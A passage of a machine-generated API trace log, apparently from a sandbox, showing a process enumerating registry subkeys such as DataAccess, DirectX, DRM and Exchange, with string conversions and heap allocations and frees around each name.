1 [0173.008] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xd5b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xd5c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0173.008] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.008] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.009] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xd5b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xd5c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.009] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xd5b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.009] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xd5b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xd5c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.009] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xd5b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xd5c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0173.009] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.009] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.010] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xd5b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xd5c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.010] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xd5c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.010] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xd5c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.010] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0173.010] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.010] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.011] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xd5c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.011] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xd5c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.011] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xd5c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.011] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xd5b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xd5c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0173.011] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.011] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.012] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xd5b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xd5c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.012] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xd5b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xd5c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.012] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xd5b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xd5c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.012] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xd5b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xd5c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0173.012] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.012] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.013] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xd5b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0xd5c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.013] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xd5b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xd5c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.013] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xd5b930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xd5c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.013] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5bbb8) returned 1 [0173.013] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xd5b930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bbb8 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0173.013] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xd5c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0173.013] 